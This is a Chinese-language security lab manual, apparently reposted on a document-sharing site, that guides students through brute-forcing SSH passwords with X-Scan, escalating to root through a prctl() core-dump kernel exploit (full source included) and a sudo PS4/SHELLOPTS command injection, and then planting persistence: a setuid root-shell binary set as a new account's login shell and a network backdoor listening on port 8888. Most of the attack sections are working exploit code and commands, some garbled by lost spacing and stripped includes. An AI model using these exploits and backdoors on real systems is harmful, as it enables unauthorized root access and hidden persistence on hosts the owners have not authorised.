SECL050011Linux漏洞利用CVE2959CVE2451汇编.docx
《SECL050011Linux漏洞利用CVE2959CVE2451汇编.docx》由会员分享,可在线阅读,更多相关《SECL050011Linux漏洞利用CVE2959CVE2451汇编.docx(27页珍藏版)》请在冰豆网上搜索。
SECL050011Linux漏洞利用CVE2959CVE2451汇编
Linux漏洞利用
SEC-L05-001.1
2010年4月
Linux漏洞利用
技术背景
Linux操作系统是一款开源的类UNIX操作系统,有多种发行版(Distributions),如RedHatLinux、SUSELinux、DebianLinux等等等等。
这些发行版在系统安装、包管理、桌面应用等方面各有特色,但是其操作系统内核(Kernel)均来自于一个组织(www.kernel.org),该组织负责Linux内核的更新、发布。
在部分已发布的内核版本中,存在一些严重影响操作系统安全的漏洞,Hacker或Cracker通过利用这些漏洞达到入侵并控制目标主机的目的,Cracker甚至会通过这些漏洞入侵有问题的主机及该主机所在网络,以达到窃取保密信息、散播蠕虫木马、发起DDOS攻击等目的。
实验目的
通过2种不同漏洞的利用(内核调用漏洞及系统工具漏洞),对普通帐号进行本地提权,通过实际操作增加实验者对网络安全及主机操作系统安全的认识,对希望成为合格的SA(SystemAdministrator&SecurityAdministrator)的实验者进行系统漏洞类的部分基础知识介绍。
实验平台
攻击机(客户端):
Windows2000/XP/2003
目标机(服务端):
LinuxServer
实验工具
Putty(putty.exe)及PuttySFTP工具(psftp.exe)
SSH口令在线扫描工具X-Scan
演示后门程序ndoor
实验要点
远程SSH服务在线口令暴力破解
Linux本地提权
简易后门制作
实验步骤指导
实验准备
实验概要:
熟悉了解相关的实验工具,掌握Putty,PuttySFTP,X-Scan等工具的使用,操作。
1、下载实验中使用的工具:
Putty(putty.exe)及PuttySFTP工具(psftp.exe)、SSH口令在线扫描工具X-Scan、演示后门程序ndoor
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】
putty.exe是一个小巧实用的远程登录客户端,支持多种协议。
psftp.exe是Putty工具集中的一个支持SFTP协议的客户端,用于通
过SFTP协议上传下载文件。
x-scan是一款免费的网络扫描器,我们使用它的在线SSH口令扫描功
能。
ndoor是用于演示的一个简单后门。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
远程SSH服务口令暴力破解
实验概要:
了解使用X-Scan扫描工具,探测被攻击服务器的SSH服务,实现口令自动猜测攻击。
【注释】
下载及使用该工具时请关闭杀毒软件或将该工具所在路径设置为排除路径,否则可能会引起杀毒软件的误报(SymantecAntivirus)而删除该工具所需的关键文件。
运行xscan_gui.exe启动X-Scan程序;
【知识重点】
X-scan是国内相当出名的扫描工具,X-scan采用多线程方式对指定IP地址段(或单机)进行安全漏洞检测,支持插件功能,提供了图形界面和命令行两种操作方式,扫描内容包括:
远程操作系统类型及版本,标准端口状态及端口BANNER信息,SNMP信息,CGI漏洞,IIS漏洞,RPC漏洞,SSL漏洞,SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户,NT服务器NETBIOS信息、注册表信息等。
扫描结果保存在/log/目录中,index_*.htm为扫描结果索引文件。
点击
图标或选择菜单设置扫描参数,弹出参数设置窗口,左侧选中检测范围选项,在右侧的“指定IP范围”下的文本框中输入目标主机IP地址如图1
(图1)
点开左侧的全局设置,进一步设置参数,选中左侧的“扫描模块”,
在右侧仅选中SSH弱口令,如图2
(图2)
为了加快扫描速度,适当增加扫描线程数,点击左侧的“并发扫
描”,在右侧的ListBox中将ssh的扫描线程数修改为30全局设置,如图3
(图3)
点击左侧的“其他设置”,在右侧中仅选中“无条件扫描”,
如图4
(图4)
点开左侧的插件设置,选中“端口相关设置”,在右侧的“待检
测端口”下的文本框中输入SSH服务的默认端口号22,如图5
(图5)
选中左侧的“字典文件设置”,双击右侧的“SSH密码字典”及
“SSH用户名字典”,分别设置为ssh_pass.dic及ssh_user.dic,
最后点击“确定”关闭参数设置窗口,如图6
(图6)
点击
图标开始扫描,扫描完成后,如图7。
(图7)
扫描完成后会自动打开系统默认浏览器显示扫描结果,在X-Scan工具主窗口也可以看到相应结果,在左侧窗口中“/”前面是用户名,后面是密码;在“安全漏洞及解决方案”列中,“/”前面是用户名,后面是密码,图8;
(图8)
Linux本地提权1:
利用内核调用漏洞(prctl()调用)
实验概要:
使用Putty工具用普通帐号登录远程系统,利用exploit程序以达到提权目的。
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
LinuxKernel的prctl()调用在处理CoreDump时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。
prctl()调用允许未授权进程设置PR_SET_DUMPABLE=2;
因此当发生段错误时产生的core文件将被root用户拥有。
本地用户可以创建恶意程序,将core文件dump到正常情况下无权写入的目录中。
这可能导致拒绝服务(磁盘耗尽)或获得root权限。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
1.用第一步获取的账户tester(对此帐户进行提权)登录远程主机,如图9所示。
(图9)
2.创建编写提权代码文件,如图10所示。
命令:
[tester@LT-courseware-0007~]$cat>ex.c<<_EOF
(图10)
3.输入提权源代码,如图11所示
代码内容如下所示:
#include
#include
#include
#include
#include
#include
#include
#include
char*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:
/usr/local/bin:
/sbin:
/bin:
/usr/sbin:
/usr/bin\n*****root/bin/cp/bin/sh/tmp/sh;chownroot/tmp/sh;chmod4755/tmp/sh;rm-f/etc/cron.d/core.*\n";
intmain(){
intchild;
structrlimitcorelimit;
printf("LinuxKernel2.6.xPRCTLCoreDumpHandling-Localr00t\n");
printf("By:
dreyer&RoMaNSoFt\n");
printf("[10.Jul.2006]\n\n");
corelimit.rlim_cur=RLIM_INFINITY;
corelimit.rlim_max=RLIM_INFINITY;
setrlimit(RLIMIT_CORE,&corelimit);
printf("[*]CreatingCronentry\n");
if(!
(child=fork())){
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE,2);
sleep(200);
exit
(1);
}
kill(child,SIGSEGV);
printf("[*]Sleepingforaprox.oneminute(**pleasewait**)\n");
sleep(62);
printf("[*]Runningshell(remembertoremove/tmp/shwhenfinished)...\n");
system("/tmp/sh-p");
}
(图11)
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
学生通过实验操作了解Linux系统中使用cat命令进行文件编写。
在使用cat命令进行文件编写时,文件内容输入完成后,必须在输入的最后一行后另起新行(敲Enter键),输入cat命令行中最后的重定向符号(<<)后跟随的自定义结束标记以告诉cat程序输入已结束,一般习惯上用包含EOF这三个字符的字符串做结束标记,如图11中定义的结束符为_EOF。
cat输入过程是行输入模式,即在一行未结束时(未敲Enter键)时,可以编辑修改当前行内容(在大多数shell下都是用delete键从当前光标处向前删除单个字符),一旦新起一行,则上面已输入的行在此次编辑中无法再被更改,因此要谨慎输入。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
cat
使用权限:
所有使用者
使用方式:
cat[-AbeEnstTuv][--help][--version]fileName
说明:
把档案串连接后传到基本输出(萤幕或加>fileName到另一个档案)
参数:
-n或--number由1开始对所有输出的行数编号
-b或--number-nonblank和-n相似,只不过对于空白行不编号
-s或--squeeze-blank当遇到有连续两行以上的空白行,就代换为一行的空白行
-v或--show-nonprinting
范例:
cat-ntextfile1>textfile2把textfile1的档案内容加上行号后输入textfile2这个档案里
cat-btextfile1textfile2>>textfile3把textfile1和textfile2的档案内容加上行号(空白行不加)之后将内容附加到textfile3里。
gcc
参数:
-ansi只支持ANSI标准的C语法。
这一选项将禁止GNUC的某些特色,
例如asm或typeof关键词。
-c只编译并生成目标文件。
-DMACRO以字符串“1”定义MACRO宏。
-DMACRO=DEFN以字符串“DEFN”定义MACRO宏。
-E只运行C预编译器。
-g生成调试信息。
GNU调试器可利用该信息。
-IDIRECTORY指定额外的头文件搜索路径DIRECTORY。
-LDIRECTORY指定额外的函数库搜索路径DIRECTORY。
-lLIBRARY连接时搜索指定的函数库LIBRARY。
-m486针对486进行代码优化。
-oFILE生成指定的输出文件。
用在生成可执行文件时。
-O0不进行优化处理。
-O或-O1优化生成代码。
-O2进一步优化。
-O3比-O2更进一步优化,包括inline函数。
-shared生成共享目标文件。
通常用在建立共享库时。
-static禁止使用共享连接。
-UMACRO取消对MACRO宏的定义。
-w不生成任何警告信息。
-Wall生成所有警告信息。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
图中的“>”号是提示符(prompt),不需要输入,代码输入结束后,必须在输入的最后一行后另起新行(敲Enter键),输入cat命令行中最后的重定向符号(<<)后跟随的自定义结束标记以告诉cat程序输入已结束。
图中的代码可以直接复制粘贴到记事本,从记事本中全选复制,在Putty窗口点击鼠标右键即完成粘贴。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
4.编译提权代码文件,并查看编译后的文件属性,如图12所示
命令:
[tester@LT-courseware-0007~]$gcc-oexex.c
[tester@LT-courseware-0007~]$ls-alex
(图12)
5.执行编译后的可执行文件,进行帐户的提权,如图13
命令:
[tester@LT-courseware-0007~]$./ex
(图13)
【注释】
因为该exploit利用了系统进程crond的定时执行特性,因
此执行./ex后需要等60秒,然后将获得一个rootshell
6.查看当前用权限状态,如图14所示,显示当前的euid已经是0了。
命令:
sh-3.00#id
(图14)
7.进一步提权,编写新提权文件ex2,如图15所示提权代码内容。
命令:
sh-3.00#cat>ex2.c<<_EOF
(图15)
编译提权文件ex2;
命令:
sh-3.00#gcc-oex2ex2.c-static
执行提权文件ex2,
命令:
sh-3.00#./ex2
查看当前用户状态,如图所示15,可以看到当前的uid已经是0了,即获得了rootshell
命令:
sh-3.00#id
8.利用内核调用漏洞进行Linux本地用户提权成功,已经在tester帐户环境下获取了rootshell(即获得了拥有root权限的shell)。
Linux本地提权2:
利用系统工具漏洞(sudo)
实验概要:
通过利用系统工具漏洞进行Linux本地帐户提权,以另外的方式再次实现对本地用户提权进行实现。
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
sudo是一个允许系统管理员授权让普通用户执行部分或全部其他账户(包括root)的应用程序的工具。
版本小于1.6.8p10的sudo存在环境变量的执行漏洞,可被入侵者利用以设置suid,并进一步获取rootshell。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
用第一步获取的账户test(对此帐户进行提权)登录远程主机,如图16
(图16)
切换到cshell,如图17
命令:
[test@LT-courseware-0007~]$csh
(图17)
创建辅助脚本及提权源代码,如图18
命令:
(辅助脚本代码如图所示)
[test@LT-courseware-0007~]$cat>ex.sh<<_EOF
辅助脚本代码如下所示:
#!
/bin/bash-x
echo
_EOF
(图18)
【注释】
图中”?
”号为提示符(prompt),不需要输入。
命令:
[test@LT-courseware-0007~]$cat>ex.c<<_EOF
帐户提权代码如下所示:
#include
intmain(void){
setuid(0);
system(“/bin/sh”);
return(0);
}
_EOF
为辅助脚本ex.sh文件添加执行权限;如图19所示。
命令:
[test@LT-courseware-0007~]$chmodu+xex.sh
编译提权源代码文件;
命令:
[test@LT-courseware-0007~]$gcc-oexex.c
查看文件属性,ex.sh脚本具有了执行权限,ex可执行程序的属主为test,组也为test。
命令:
[test@LT-courseware-0007~]$ls-alex.sh
[test@LT-courseware-0007~]$ls-alex
(图19)
设置环境变量,利用sudo的漏洞改变ex可执行程序的属主和组,同时为其设置suid,我们可以看到,ex可执行程序的属主改变为root,组也改变为root,同时设置了s位,如图20
命令:
[test@LT-courseware-0007~]$setenvSHELLOPTSxtrace
[test@LT-courseware-0007~]$setenvPS4‘$(chownroot:
rootex;chmodu+sex)’
[test@LT-courseware-0007~]$sudo./ex.sh
(图20)
【注释】
若执行“sudo./ex.sh”后提示输入密码,则输入test账户的密码
查看提权文件ex的文件属性,如图20所示,ex可执行程序的属主改变为root,组也改变为root,同时设置了s位。
命令:
[test@LT-courseware-0007~]$ls-alex
执行./ex进行提权,我们可以看到,当前的uid已经是0了,即获得了rootshell,如图21。
命令:
[test@LT-courseware-0007~]$./ex
(图21)
简易后门制作1:
添加/修改帐户,将后门程序作为默认shell
实验概要:
一般来说,Hacker或Cracker入侵了目标系统后,为了下次能够顺利进入,都会留下再次进入该系统的后门(backdoor)。
后门的种类多种多样。
9.在刚才获取的rootshell权限的帐户test中,切换当前目录为/bin,
命令:
sh-3.00#cd/bin
10.创建后门程序,如图22所示。
命令:
sh-3.00#cat>bd.c<<_EOF
后门程序代码如下所示:
#include
intmain(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system(“/bin/sh”);
return(0);
}
_EOF
(图22)
11.图中红色框内的内容为创建后门程序,黄色框内的内容为添加一个账户,并设置该账户的home目录为/tmp,登录shell为刚才创建的后门程序,帐户添加成功后用passwd命令设置为其密码。
12.编译后门程序bd.c文件,并将原bd.c文件删除。
命令:
sh-3.00#gcc-obdbd.c–static
sh-3.00#chmod4755bd
sh-3.00#rm-fbd.c
13.然后添加账户或修改当前账户,并将该账户的shell设置为后门程序以直接获取rootshell,
命令:
sh-3.00#/usr/sbin/useradd-d/tmp-s/bin/bdtestbd
sh-3.00#passwdtestbd
14.使用新创建的帐户testbd进行登录测试,启动一个新的Putty窗口,输入添加帐户testbd时设置的密码。
15.登录后输入id查看用户权限:
rootshell,如图23
(图23)
16.已经完成帐户添加/修改简易后门程序制作,使得新添加,修改的帐户直接拥有默认的rootshell权限。
不需要再通过本地提权方式进行提权后在获得rootshell权限。
简易后门制作2:
将后门程序设置为自启动,通过网络登录
实验概要:
在目标机器上运行演示后门程序ndoor,监听tcp端口8888,用于以后直接远程端口访问。
17.保持刚才获取的rootshell窗口打开(testbd账户登录的窗口);后面需要使用此窗口。
18.在本机启动puttysftp服务器端软件工具,上传后门文件(ndoor.bz2),如图24:
命令:
psftp>open目标主机IP【需要输入用户名以及密码】
psftp>lcd切换本地目录到ndoor.bz2文件所在路径
psftp>putndoor.bz2
(图24)
【注释】
若连接时弹出证书窗口,则点击yes或者确定接受证书。
lcd命令后跟的是ndoor.bz2文件所在的路径,最好用双引号包含起来。
19.若本地路径名很长,则可用puttysftp工具的粘贴功能(点击窗口左上角图标)。
20.查看上传ndoor.bz2文件是否已经存在,并退出psftp。
命令:
psftp>ls*.bz2
psftp>exit
21.另起一个Putty程序,用普通帐户test登录,
22.在test用户目录中查看ndoor.bz2文件,并解压缩刚才上传的后门程序,如图25:
命令:
[test@LT-courseware-0007-]$ls-alndoor.bz2
[test@LT-courseware-0007-]$bunzip2ndoor.bz2
(图25)
23.切换到rootshell,【使用test帐户登录提权后的putty窗口】修改后门程序的属主、组及权限,并将其移动到系统目录中,切换到ndoor文件的解压目录,如图26所示:
命令:
sh-3.00#cd/home/test
sh-3.00#ls-alndoor
(图26)
24.修改ndoor文件属性:
命令:
sh-3.00#chownroot:
rootndoor
sh-3.00#chmod755ndoor
sh-3.00#ls-alndoor
移动ndoor文件到bin目录下面:
命令:
sh-3.00#mvndoor/bin
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
学生通过实验操作了解Linux系统中文件或者目录的拥有者变更,以及文件或者目录权限的设置。
学生通过实验操作了解Linux系统中文件或者目录的更名、移动。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
chown(change owner)
功能说明:
变更文件或目录的拥有者或所属群组。
语 法:
chown [-cfhRv][--dereference][--help][--version][拥有者.<所属群组>][文件或目录..] 或chown [-chfRv][--dereference][--help][--version][.所属群组][文件或目录... ...] 或chown [-cfhRv][--dereference][--help][--reference=<参考文件或目录>][--version][文件或目录...